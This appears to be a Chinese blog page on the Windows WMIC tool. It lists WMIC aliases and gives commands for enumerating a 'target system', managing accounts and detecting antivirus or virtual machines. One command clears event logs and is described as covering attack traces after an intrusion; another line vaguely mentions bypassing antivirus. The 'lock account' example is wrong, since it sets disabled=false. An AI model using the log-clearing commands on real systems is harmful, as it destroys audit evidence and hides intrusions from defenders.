    ALIAS                    - 对本地系统上可用别名的访问
    BASEBOARD                - 基板(也称为主板或系统板)管理。
    BIOS                     - 基本输入/输出服务(BIOS)管理。
    BOOTCONFIG               - 启动配置管理。
    CDROM                    - CD-ROM 管理。
    COMPUTERSYSTEM           - 计算机系统管理。
    CPU                      - CPU 管理。
    CSPRODUCT                - SMBIOS 中的计算机系统产品信息。
    DATAFILE                 - 数据文件管理。
    DCOMAPP                  - DCOM 应用程序管理。
    DESKTOP                  - 用户的桌面管理。
    DESKTOPMONITOR           - 桌面监视器管理。
    DEVICEMEMORYADDRESS      - 设备内存地址管理。
    DISKDRIVE                - 物理磁盘驱动器管理。
    DISKQUOTA                - 用于 NTFS 卷的磁盘空间使用量。
    DMACHANNEL               - 直接内存访问(DMA)通道管理。
    ENVIRONMENT              - 系统环境设置管理。
    FSDIR                    - 文件系统目录项管理。
    GROUP                    - 组帐户管理。
    IDECONTROLLER            - IDE 控制器管理。
    IRQ                      - 中断请求线路(IRQ)管理。
    JOB                      - 提供对使用计划服务安排的作业的访问。
    LOADORDER                - 定义执行依赖关系的系统服务的管理。
    LOGICALDISK              - 本地存储设备管理。
    LOGON                    - 登录会话。
    MEMCACHE                 - 缓存内存管理。
    MEMORYCHIP               - 内存芯片信息。
    MEMPHYSICAL              - 计算机系统的物理内存管理。
    NETCLIENT                - 网络客户端管理。
    NETLOGIN                 - 网络登录信息(属于特定用户)管理。
    NETPROTOCOL              - 协议(及其网络特征)管理。
    NETUSE                   - 活动网络连接管理。
    NIC                      - 网络接口控制器(NIC)管理。
    NICCONFIG                - 网络适配器管理。
    NTDOMAIN                 - NT 域管理。
    NTEVENT                  - NT 事件日志中的项目。
    NTEVENTLOG               - NT 事件日志文件管理。
    ONBOARDDEVICE            - 主板(系统板)中内置的通用适配器设备的管理。
    OS                       - 已安装操作系统的管理。
    PAGEFILE                 - 虚拟内存文件交换管理。
    PAGEFILESET              - 页面文件设置管理。
    PARTITION                - 物理磁盘的已分区区域的管理。
    PORT                     - I/O 端口管理。
    PORTCONNECTOR            - 物理连接端口管理。
    PRINTER                  - 打印机设备管理。
    PRINTERCONFIG            - 打印机设备配置管理。
    PRINTJOB                 - 打印作业管理。
    PROCESS                  - 进程管理。
    PRODUCT                  - 安装程序包任务管理。
    QFE                      - 快速修复工程。
    QUOTASETTING             - 卷上的磁盘配额设置信息。
    RDACCOUNT                - 远程桌面连接权限管理。
    RDNIC                    - 对特定网络适配器的远程桌面连接管理。
    RDPERMISSIONS            - 特定远程桌面连接的权限。
    RDTOGGLE                 - 远程打开或关闭远程桌面侦听程序。
    RECOVEROS                - 操作系统出现故障时将从内存收集的信息。
    REGISTRY                 - 计算机系统注册表管理。
    SCSICONTROLLER           - SCSI 控制器管理。
    SERVER                   - 服务器信息管理。
    SERVICE                  - 服务应用程序管理。
    SHADOWCOPY               - 卷影副本管理。
    SHADOWSTORAGE            - 卷影副本存储区域管理。
    SHARE                    - 共享资源管理。
    SOFTWAREELEMENT          - 系统上安装的软件产品元素的管理。
    SOFTWAREFEATURE          - SoftwareElement 的软件产品子集的管理。
    SOUNDDEV                 - 声音设备管理。
    STARTUP                  - 当用户登录到计算机系统时自动运行的命令的管理。
    SYSACCOUNT               - 系统帐户管理。
    SYSDRIVER                - 基本服务的系统驱动程序管理。
    SYSTEMENCLOSURE          - 物理系统外壳管理。
    SYSTEMSLOT               - 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。
    TAPEDRIVE                - 磁带驱动器管理。
    TEMPERATURE              - 温度传感器(电子温度计)数据管理。
    TIMEZONE                 - 时区数据管理。
    UPS                      - 不间断电源(UPS)管理。
    USERACCOUNT              - 用户帐户管理。
    VOLTAGE                  - 电压传感器(电子电压表)数据管理。
    VOLUME                   - 本地存储卷管理。
    VOLUMEQUOTASETTING       - 将磁盘配额设置与特定磁盘卷相关联。
    VOLUMEUSERQUOTA          - 每用户存储卷配额管理。
    WMISET                   - WMI 服务操作参数管理。
    
    有关特定别名的详细信息,请键入: alias /?
    
    CLASS     - 按 Esc 键可获取完整 WMI 架构。
    PATH      - 按 Esc 键可获取完整 WMI 对象路径。
    CONTEXT   - 显示所有全局开关的状态。
    QUIT/EXIT - 退出程序。
    

    0x003常用命令

    注意:请不要在本机上试验命令。

    1、目标系统相关

    1. 获取主机名,域名,制造商,设备型号,用户名,用户名角色。
    wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list
    
    1. 获取账户名、安装日期、本地组成员状态、域名、SID以及相应的状态。
    wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
    
    1. 创建进程。
    wmic process call create "taskmgr.exe"
    
    1. 修改进程优先级
      降低某个进程的优先级可能会导致特定的应用程序发生崩溃,而提升某个进程的优先级甚至还会导致整个系统发生崩溃。bypass杀软
    wmic process where name="explorer.exe" call set priority 64
    
    1. 终止进程
    wmic process where name="explorer.exe" call terminate
    
    1. 获取可执行文件列表
      枚举出整个系统中所有可执行文件的路径地址
    wmic process where "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
    
    1. 获取目录属性
      WMIC命令的fsdir选项可以提取目标系统中文件目录的基本信息,其中包括压缩方法、创建日期、文件大小、是否可读写、是否为系统文件、加密状态以及加密类型等:
    wmic fsdir where "drive='C:' and filename='test'" get /format:list
    
    1. 获取文件属性
      wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list
    
    1. 定位系统文件
      WMIC可以提取出所有重要系统文件的路径
    wmic environment get Description, VariableValue
    
    1. 获取已安装的应用系统程序
    wmic product get name
    
    1. 获取目标系统正在运行的服务
    wmic service where (state="running") get caption, name, startmode
    
    1. 获取操作系统详情
      os选项可以列举出目标系统的上一次启动时间、注册的用户数量、处理器数量、物理/虚拟内存信息和安装的操作系统类型等等。
    wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpTime, NumberofProcesses, NumberofUsers, Organization, Status /format:list
    
    1. 获取系统驱动详情
      sysdrive选项可以枚举出驱动的名称、路径和服务类型等数据。
    wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
    
    1. 获取主板信息和BIOS序列号
    wmic baseboard get Manufacturer, Product, SerialNumber, Version
    wmic bios get serialNumber
    
    1. 获取内存缓存数据
      memcache选项可以获取到内存缓存名和块大小等信息:
    wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
    
    1. 获取内存芯片信息
      memorychip选项可以获取到RAM的相关信息,例如序列号等等:
    wmic memorychip get PartNumber, SerialNumber
    
    1. 判断目标系统是否为虚拟机
      根据onboarddevice选项返回的信息来判断目标系统到底是真实的主机操作系统,还是一台虚拟机(VMware或Virtual Box):
    wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list
    

    2、用户管理

    1. 锁定用户账号
      使用useraccount选项来锁定本地用户账号:
    wmic useraccount where name='demo' set disabled=false
    
    1. 用户账号重命名
    wmic useraccount where name='demo' rename test
    
    1. 限制用户修改密码
      限制本地用户的密码修改操作:
    wmic useraccount where name='test' set passwordchangeable=false
    
    1. 获取反病毒产品详情
      枚举出目标系统安装的反病毒产品信息,包括安装位置和版本:
    wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe
    
    1. 清理系统日志
      WMIC命令的nteventlog选项还可以清除系统的日志记录,当你入侵了某个系统之后,这个命令可以帮助你掩盖攻击痕迹:
    wmic nteventlog where filename='system'  call cleareventlog
    wmic nteventlog where (description like "%webshell%")  call cleareventlog
    

    0x004参考文章

    https://blog.csdn.net/discover2210212455/article/details/82711930
    https://www.hackingarticles.in/post-exploitation-using-wmic-system-command/
    https://www.cnblogs.com/DiZhang/p/12544793.html
    https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmic?redirectedfrom=MSDN

    展开全文
  • wmic /? [global switches] <command> The following global switches are available: /NAMESPACE Path for the namespace the alias operate against. /ROLE Path for the role contai
  • Windows命令--wmic

    2021-01-17 22:18:04
    windows比cmd更强大的 WMIC命令使用详解_第七宇林的博客-CSDN博客_wmic命令 什么是wmic ? WMIC是扩展WMI(Windows Management Instrumentation,Windows管理规范),提供了从命令行接口和批命令脚本执行系统管理...
  • wmic命令

    千次阅读 2019-12-13 16:56:04
    友情链接:wmic命令 目录 一、如何获取帮助文档 (1)wmic /? (2)wmic nic /? (3)wmic nic get ##获取网卡所有信息,如下只列出部分列 (4)信息筛选 二、常用操作使用说明 1、PROCESS —— 进程管理 2...
  • Windows WMIC命令使用详解(附实例)

    千次阅读 2020-12-20 14:52:30
    执行“wmic”命令启动WMIC命令行环境。这个命令可以在XP或 .NET Server的标准命令行解释器(cmd.exe)、Telnet会话或“运行”对话框中执行。这些启动方法可以在本地使用,也可以通过.NET Server终端服务会话使用。第一...
  • WMIC使用

    千次阅读 2021-11-15 11:04:55
    如下,以administrator用户连接192.168.52.140,并在机器上创建一个进程执行ipconfig命令,将结果写入c:\result.txt文本文件中:(由于wmic执行远程命令没有回显,所以要将结果写入到txt中) wmic /node:192.168....
  • systeminfo |find "system model" /iwmic bios get serialnumber获取硬件序列号"wmic csproduct getname"获取型号远程: systeminfo /s computernamewmic /node:"IPorCOMPUTERNAME" bios get serialnumberWMIC /NODE...
  • java执行cmd/wmic命令

    2021-08-27 18:41:57
    执行exe文件 package org.jeecg.modules.dam.util; import lombok.extern.slf4j.Slf4j; import java.io.*; @Slf4j public class ExecuteCmdUtils { ... public static Boolean executeCmd(String command,S

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,490
精华内容 3,396
关键字:

wmic